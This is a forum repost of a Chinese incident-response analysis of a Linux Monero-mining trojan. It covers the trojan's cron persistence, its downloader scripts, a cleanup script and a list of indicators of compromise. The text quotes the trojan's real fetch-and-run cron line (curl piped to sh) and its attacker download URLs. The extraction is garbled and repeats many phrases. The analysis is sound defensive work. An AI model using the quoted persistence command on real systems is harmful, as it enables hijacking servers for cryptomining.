搜索

[12675] 2018-05-07_一个Linux平台的门罗币挖矿木马的查杀与分析

文档创建者：s7ckTeam
浏览次数：4
最后更新：2025-01-18
2018-05-07_一个Linux平台的门罗币挖矿木马的查杀与分析 一 个 L i n u x 平 台 的 门 罗 币 挖 矿 木 马 的 查 杀 与 分 析 任 子 行   F r e e B u f   2 0 1 8 - 0 5 - 0 7 近 期 接 到 客 户 反 映 ， 其 机 房 有 一 台 近 期 接 到 客 户 反 映 ， 其 机 房 有 一 台 r e d h a t 服 务 器 很 卡 ， 导 致 很 多 服 务 响 应 速 度 很 慢 的 情 况 。 通 过 远 程 到 客 户 机 服 务 器 很 卡 ， 导 致 很 多 服 务 响 应 速 度 很 慢 的 情 况 。 通 过 远 程 到 客 户 机 器 ， 发 现 一 个 进 程 占 据 器 ， 发 现 一 个 进 程 占 据 7 0 0 % 多 多 C P U 的 使 用 率 。 通 过 分 析 ， 定 性 为 是 一 起 针 对 的 使 用 率 。 通 过 分 析 ， 定 性 为 是 一 起 针 对 “ 门 罗 币 门 罗 币 ” 的 挖 矿 木 马 入 侵 事 件 。 的 挖 矿 木 马 入 侵 事 件 。 本 文 记 录 处 理 该 事 件 的 关 键 过 程 以 及 对 该 挖 矿 木 马 核 心 代 码 进 行 的 分 析 ， 方 便 做 事 件 响 应 的 同 行 们 碰 到 同 家 族 本 文 记 录 处 理 该 事 件 的 关 键 过 程 以 及 对 该 挖 矿 木 马 核 心 代 码 进 行 的 分 析 ， 方 便 做 事 件 响 应 的 同 行 们 碰 到 同 家 族 类 型 木 马 后 可 以 快 速 查 杀 ， 定 性 威 胁 事 件 。 类 型 木 马 后 可 以 快 速 查 杀 ， 定 性 威 胁 事 件 。 0 x 0 1 　 　 木 马 行 为 与 查 杀 过 程 木 马 行 为 与 查 杀 过 程 主 要 行 为 主 要 行 为 木 马 以 r 8 8 . s h 作 为 d o w n l o a d e r 首 先 控 制 服 务 器 ， 通 过 判 断 当 前 账 户 的 权 限 是 否 为 r o o t 来 进 行 下 一 步 的 操 作 ， 若 为 r o o t 则 在 目 录 / v a r / s p o o l / c r o n / r o o t 和 / v a r / s p o o l / c r o n / c r o n t a b s / r o o t 下 写 计 划 任 务 ” / 5   *   c u r l   - s L   h t t p s : / / x . c o / 6 n P M R   |   s h ” ， 其 中 这 个 短 链 接 还 原 后 为 h t t p s : / / x m r . e n j o y t o p i c . t k / 1 2 / r 8 8 . s h 。 若 为 非 r o o t 账 户 ， 则 不 写 计 划 任 务 。 接 着 均 会 执 行 下 载 运 行 r o o t v 2 . s h 或 l o w e r v 2 . s h （ 基 于 当 前 账 户 是 否 为 r o o t 来 选 择 下 载 脚 本 ） 等 一 系 列 的 操 作 。 木 马 的 挖 矿 组 件 b a s h d 和 b a s h e 在 系 统 中 执 行 后 ， 毫 不 掩 饰 地 就 开 始 挖 矿 ， C P U 直 接 就 占 据 好 几 百 ， 简 直 粗 暴 。 是 不 是 应 该 考 虑 下 根 据 机 器 的 当 前 运 行 状 态 来 “ 人 性 化 挖 矿 ” 呢 ？ 简 单 的 进 程 保 护 行 为 简 单 的 进 程 保 护 行 为 为 了 防 被 杀 后 还 能 继 续 挖 矿 ， 其 通 过 写 入 定 时 任 务 的 方 式 来 实 现 简 单 的 进 程 保 护 ， 通 过 一 定 时 间 间 隔 使 用 c u r l 与 w g e t 远 程 下 载 s h e l l 脚 本 程 序 执 行 ， 该 脚 本 的 功 能 会 执 行 本 地 路 径 下 已 存 在 的 挖 矿 程 序 ， 若 不 存 在 则 会 重 新 下 载 挖 矿 程 序 执 行 。 其 中 该 木 马 在 多 个 路 径 都 写 入 了 定 时 任 务 来 实 现 维 持 访 问 ， 包 括 ： / v a r / s p o o l / c r o n / r o o t 、 / v a r / s p o o l / c r o n / c r o n t a b s / r o o t 以 及 / e t c / c r o n . d 。 前 两 个 位 置 直 接 就 在 r 8 8 . s h 这 个 文 件 中 暴 露 了 出 来 ： 要 清 除 该 木 马 需 要 清 除 三 个 位 置 所 有 的 定 时 任 务 ， 要 不 然 该 木 马 还 会 死 灰 复 燃 ， 重 新 被 启 动 挖 矿 。 所 幸 该 木 马 并 没 有 感 染 传 播 的 蠕 虫 属 性 ， 猜 测 是 攻 击 者 直 接 通 过 一 般 漏 洞 来 进 行 的 无 差 别 攻 击 植 入 的 挖 矿 d o w n l o a d e r 。 经 过 对 服 务 器 进 行 渗 透 测 试 ， 确 实 发 现 了 A p a c h e   A c t i v e M Q   F i l e s e r v e r 远 程 代 码 执 行 漏 洞 （ C V E - 2 0 1 6 - 3 0 8 8 ） 与 A c t i v e M Q   反 序 列 化 漏 洞 （ C V E - 2 0 1 5 - 5 2 5 4 ） 。 所 以 企 业 在 上 线 服 务 之 前 最 好 还 是 先 让 安 全 从 业 人 员 先 进 行 安 全 评 估 加 固 之 后 会 更 加 安 全 一 些 。 木 马 查 杀 木 马 查 杀
1 ） 尝 试 杀 掉 b a s h d 与 b a s h e 进 程 以 及 r o o t . s h / r o o t v 2 . s h / l o w e r . s h / l o w e r v 2 . s h 与 r 8 8 . s h 这 些 s h e l l 进 程 2 ） 清 除 掉 / t m p 目 录 下 木 马 释 放 的 文 件 ： / t m p / b a s h d 、 / t m p / b a s h e 、 / t m p / r o o t . s h 、 / t m p / r o o t v 2 . s h 、 / t m p / r 8 8 . s h 、 / t m p / p o o l s . t x t 、 / t m p / c o n f i g . j s o n 等 3 ） 清 除 3 个 位 置 的 定 时 任 务 ： / v a r / s p o o l / c r o n / r o o t 、 / v a r / s p o o l / c r o n / c r o n t a b s / r o o t 以 及 / e t c / c r o n . d 对 应 的 自 动 查 杀 脚 本 如 下 ： 0 x 0 2 　 　 * * 木 马 核 心 代 码 分 析 木 马 核 心 代 码 分 析 * * 木 马 整 体 编 写 逻 辑 木 马 整 体 编 写 逻 辑 该 木 马 使 用 L i n u x 系 统 的 s h e l l 脚 本 编 写 D o w n l o a d e r ， 使 用 c u r l 与 w g e t 命 令 发 起 网 络 请 求 下 载 木 马 的 其 他 组 件 ， 虽 然 代 码 可 被 轻 易 分 析 ， 但 是 编 写 成 本 和 门 槛 降 低 ， 这 也 是 当 前 恶 意 代 码 使 用 脚 本 语 言 编 写 的 一 个 趋 势 。 # ! / b i n / b a s h f o r   ( ( i = 1 ; i > 0 ; i + + ) ) d o         p s   - e f   |   g r e p   " / t m p / b a s h d   - p   b a s h d "   |   g r e p   - v   g r e p   |   a w k   ' { p r i n t   $ 2 } '   |   x a r g s   k i l l         p s   - e f   |   g r e p   " / t m p / b a s h e   - p   b a s h d "   |   g r e p   - v   g r e p   |   a w k   ' { p r i n t   $ 2 } '   |   x a r g s   k i l l         p s   - e f   |   g r e p   " b a s h   / t m p / r o o t . s h "   |   g r e p   - v   g r e p   |   a w k   ' { p r i n t   $ 2 } '   |   x a r g s   k i l l         p s   - e f   |   g r e p   " b a s h   / t m p / r 8 8 . s h "   |   g r e p   - v   g r e p   |   a w k   ' { p r i n t   $ 2 } '   |   x a r g s   k i l l         p s   - e f   |   g r e p   " b a s h   / t m p / r o o t v 2 . s h "   |   g r e p   - v   g r e p   |   a w k   ' { p r i n t   $ 2 } '   |   x a r g s   k i l l p s   - e f   |   g r e p   " b a s h   / t m p / l o w e r . s h "   |   g r e p   - v   g r e p   |   a w k   ' { p r i n t   $ 2 } '   |   x a r g s   k i l l p s   - e f   |   g r e p   " b a s h   / t m p / l o w e r v 2 . s h "   |   g r e p   - v   g r e p   |   a w k   ' { p r i n t   $ 2 } '   |   x a r g s   k i l l         r m   / t m p / b a s h d   / t m p / b a s h e   / t m p / c o n f i g . j s o n   / t m p / r o o t . s h   / t m p / r o o t v 2 . s h   / t m p / r 8 8 . s h   / t m p / p o o l s . t x t   - r         r m   / v a r / s p o o l / c r o n / r o o t   / v a r / s p o o l / c r o n / c r o n t a b s / r o o t   / e t c / c r o n . d / r o o t d o n e
该 木 马 一 共 涉 及 多 个 脚 本 与 可 执 行 文 件 ： r 8 8 . s h 最 开 始 执 行 的 最 开 始 执 行 的 d o w n l o a d e r ， 会 远 程 下 载 执 行 ， 会 远 程 下 载 执 行 r o o t . s h / r o o t v 2 . s h / l o w e r . s h / l o w e r v 2 . s h r o o t . s h 这 四 个 脚 本 内 容 完 全 一 致 ， 作 者 为 了 起 到 保 险 作 用 会 考 虑 当 前 账 户 是 是 否 为 r o o t 以 及 考 虑 是 否 下 载 执 行 成 功 。 关 于 这 个 逻 辑 ， 可 参 考 以 上 流 程 图 。 r o o t v 2 . s h l o w e r . s h l o w e r v 2 . s h b a s h d 基 于 h t t p s : / / g i t h u b . c o m / f i r e i c e - u k / x m r - s t a k - c p u 的 一 个 挖 矿 组 件 ， x 6 4 ， E L F b a s h e 基 于 h t t p s : / / g i t h u b . c o m / x m r i g / x m r i g 的 一 个 挖 矿 组 件 ， x 6 4 ， E L F 配 置 文 件 配 置 文 件 b a s h e 的 c o n f i g . j s o n 配 置 文 件 ：
c o n f i g . j s o n 这 个 配 置 文 件 中 显 示 其 矿 池 地 址 为 p o o l . s u p p o r t x m r . c o m : 8 0 ， 用 户 为 ： b a s h d 的 p o o l s . t x t 配 置 文 件 ： 该 配 置 文 件 中 显 示 器 矿 池 地 址 为 p o o l . s u p p o r t x m r . c o m : 8 0 ， 钱 包 地 址 为 ： r 8 8 . s h 代 码 分 析 代 码 分 析 r 8 8 . s h 首 先 判 断 当 前 用 户 是 否 为 r o o t 账 户 ， 若 是 则 下 载 并 执 行 r o o t . s h ， 若 下 载 执 行 失 败 则 会 下 载 执 行 r o o t v 2 . s h ， 两 者 代 码 一 样 ； 若 非 r o o t 账 户 ， 那 么 则 下 载 并 执 行 l o w e r . s h ， 若 下 载 失 败 则 下 载 执 行 l o w e r v 2 . s h ， r o o t . s h 与 r o o t v 2 . s h 两 者 代 码 一 致 。 下 图 是 r 8 8 . s h 的 完 整 代 码 截 图 。 4 6 T C c a a D n 4 L X k W Z 1 E G K B k z c W s T m 3 2 M m y 8 a 2 V W q L 8 p G h R P f 6 5 G m U d k Z W b r L V Y N h F a u c W X j U 5 a J q M r a L M E o X q 5 3 G H Y J P v 3 L P 6 4 6 T C c a a D n 4 L X k W Z 1 E G K B k z c W s T m 3 2 M m y 8 a 2 V W q L 8 p G h R P f 6 5 G m U d k Z W b r L V Y N h F a u c W X j U 5 a J q M r a L M E o X q 5 3 G H Y J P v 3 L P 6 ， 矿 池 密 码 为 b a s h e 。
l o w e r v 2 . s h 代 码 分 析 代 码 分 析 l o w e r v 2 . s h 是 在 非 r o o t 权 限 下 才 会 被 执 行 的 d o w n l o a d e r 脚 本 ， 代 码 中 有 两 个 函 数 ： k i l l s 和 d o w n l o a d y a m ， 隔 6 0 0 s 循 环 执 行 。 K i l l s 函 数 用 于 删 除 其 他 同 行 的 挖 矿 木 马 的 文 件 并 k i l l 进 程 ， 真 是 一 山 不 能 容 二 马 的 节 奏 啊 。

其 中 d o w n l o a d y a m 函 数 ， 用 于 下 载 挖 矿 程 序 b a s h d 和 b a s h e 以 及 对 应 的 配 置 文 件 并 执 行 挖 矿 程 序 。 l o w e r . s h 代 码 分 析 代 码 分 析 若 当 前 用 户 是 非 r o o t 权 限 ， r 8 8 . s h 会 作 为 下 载 器 下 载 该 脚 本 ， 若 是 其 下 载 执 行 失 败 ， 那 么 就 会 选 择 下 载 l o w e r v 2 . s h 。 两 个 脚 本 完 全 一 样 ， 只 是 为 了 在 下 载 失 败 时 作 为 替 代 的 保 险 操 作 。 r o o t v 2 . s h 代 码 分 析 代 码 分 析 r o o t v 2 . s h 的 代 码 与 l o w e r v 2 . s h 的 代 码 完 全 一 样 ， 只 是 r o o t v 2 . s h 的 代 码 多 了 两 行 注 释 ： 猜 测 是 作 者 本 来 想 在 r o o t v 2 . s h 中 加 入 写 c r o n t a b 的 代 码 的 ， 可 是 最 后 没 有 加 上 ， 故 r o o t v 2 . s h 与 l o w e r v 2 . s h 代 码 当 前 是 完 全 一 样 的 。 r o o t . s h 代 码 分 析 代 码 分 析 当 前 用 户 若 是 r o o t 权 限 ， r o o t . s h 是 r 8 8 . s h 下 载 首 选 ， 在 下 载 r o o t . s h 失 败 的 情 况 下 才 会 选 择 下 载 r o o t v 2 . s h ， 两 个 文 件 的 代 码 是 完 全 一 致 的 。 r 8 8 . s h 的 代 码 片 段 如 下 ： B a s h e 代 码 分 析 代 码 分 析 该 E L F 可 执 行 文 件 静 态 编 译 造 成 程 序 达 到 2 0 m ， 通 过 对 其 代 码 分 析 发 现 跟 很 多 挖 矿 木 马 一 样 使 用 到 了 开 源 的 挖 矿 代 码 ， 该 程 序 使 用 的 开 源 挖 矿 项 目 在 ： h t t p s : / / g i t h u b . c o m / f i r e i c e - u k / x m r - s t a k - c p u ， 是 一 个 通 用 的 挖 矿 项 目 ， 支 持 C P U ， A M D 与 N V I D I A   G P U ， 用 于 挖 “ 门 罗 币 ” 。 下 图 可 见 该 可 执 行 文 件 中 多 处 使 用 引 用 的 代 码 ：
通 过 对 比 g i t h u b 上 的 代 码 ： 可 确 定 其 是 基 于 开 源 代 码 x m r - s t a k   2 . 4 . 2 编 写 的 一 个 针 对 门 罗 币 的 挖 矿 木 马 。 b a s h d 代 码 分 析 代 码 分 析 该 木 马 用 于 针 对 “ 门 罗 币 ” 挖 矿 的 组 件 ， x 6 4 架 构 的 E L F 格 式 文 件 。 通 过 代 码 相 似 性 分 析 可 确 定 该 程 序 是 基 于 x m r i g   2 . 5 . 2 开 源 项 目 开 发 的 一 个 基 于 C P U 的 针 对 M o n e r o （ X M R ） 的 挖 矿 木 马 。 该 项 目 在 ： h t t p s : / / g i t h u b . c o m / x m r i g / x m r i g 0 x 0 3 　 总 结 　 总 结 该 挖 矿 木 马 并 没 有 使 用 很 多 高 级 的 防 查 杀 技 术 ， 也 没 有 广 泛 传 播 的 蠕 虫 属 性 ， 仅 仅 使 用 定 时 任 务 来 实 现 简 单 的 进 程 保 护 ， 通 过 无 差 别 攻 击 进 行 “ 抓 鸡 ” 植 入 木 马 ， 而 且 直 接 使 用 s h e l l 脚 本 编 写 的 下 载 器 加 上 开 源 的 挖 矿 代 码 就 开 始 “ 抓 肉 鸡 ” 挖 矿 ， 由 此 可 见 现 在 对 于 挖 矿 木 马 的 门 槛 在 降 低 ， 但 是 这 样 简 单 的 操 作 就 足 以 严 重 危 害 网 络 的 可 用 性 与 安 全 性 。 关 于 挖 矿 木 马 如 何 防 范 与 其 他 恶 意 代 码 以 及 入 侵 事 件 如 何 防 范 一 样 ， 实 际 上 均 是 老 生 常 谈 的 话 题 ， 最 重 要 的 一 点 还 是 企 业 需 要 正 视 网 络 安 全 的 重 要 性 ， 及 时 对 系 统 以 及 应 用 打 补 丁 ， 定 期 组 织 安 全 人 员 进 行 服 务 器 的 维 护 ， 提 高 企 业 员 工 的 安 全 意 识 等 等 。 0 x 0 4 　 　 I o C h t t p : / / a b c d e . s w 5 y . c o m h t t p : / / a b c d e . s w 5 y . c o m / l 2 / l o w e r v 2 . s h
h t t p : / / a b c d e . s w 5 y . c o m / l 2 / r o o t v 2 . s h h t t p : / / a b c d e . s w 5 y . c o m / l 2 / p o o l s . t x t h t t p : / / a b c d e . s w 5 y . c o m / l 2 / b a s h d h t t p : / / a b c d e . s w 5 y . c o m / l 2 / b a s h e h t t p s : / / x m r . e n j o y t o p i c . t k / 1 2 / r 8 8 . s h h t t p s : / / x m r . e n j o y t o p i c . t k 8 9 6 5 e d d 7 2 0 5 f f c 4 a 7 7 1 1 3 1 3 7 1 5 f 1 6 2 1 a 7 8 1 7 6 2 1 a 0 d b 0 3 2 4 5 0 2 2 f c 6 e 8 b 2 a e 8 6 4 2 e 3 b 0 2 9 6 d d e c 2 4 c c 0 d 7 e f 2 7 b 4 8 9 6 a 0 6 1 6 f 2 0 3 9 4 c b 0 2 9 3 b 2 2 c 1 a c 7 4 4 c 5 3 0 4 5 1 b 4 7 2 7 f b c e e 0 f 3 f 0 0 7 e 8 4 6 e c 4 3 6 7 c 6 e f 5 5 c 8 d 2 d 7 9 0 f 2 2 b 1 2 d 5 5 1 b 0 d f 9 3 c 3 6 9 c 5 c b 7 6 f 9 0 b a d a 1 b 2 5 6 2 c 3 b 7 7 2 7 f e e 5 7 b d 7 e d f 4 5 3 8 8 3 2 1 9 a 2 e e 4 5 9 2 3 a b b d 5 3 9 7 0 8 2 3 6 b 0 0 1 2 2 6 0 4 e 4 d 6 5 b 1 8 1 a d 9 f b d 7 8 2 7 4 3 d f 6 d a f e 6 3 7 1 b c f 2 4 6 3 8 e b 2 d 4 a a 9 6 2 a 2 7 2 0 1 5 3 d 7 5 b 6 8 b 0 5 a a 0 0 c b 8 a c e 5 c 2 7 b 3 5 3 4 1 a 5 c 3 3 c 1 4 c 5 4 7 3 1 3 f 0 4 a f a 8 b c 5 1 9 3 3 6 6 7 5 5 * 本 文 作 者 ： 任 子 行 ， 转 载 请 注 明 来 自 本 文 作 者 ： 任 子 行 ， 转 载 请 注 明 来 自 F r e e B u f . C O M 阅 读 原 文
回复

举报

高级模式
B Color Image Link Quote Code Smilies
您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

使用Markdown编辑器编辑 使用富文本编辑器编辑

Archiver| 手机版| 小黑屋|
Powered by Discuz! X3.4 Copyright © 2001-2020, Tencent Cloud. 商业源码建议获取授权，如侵犯您的权益，请联系客服处理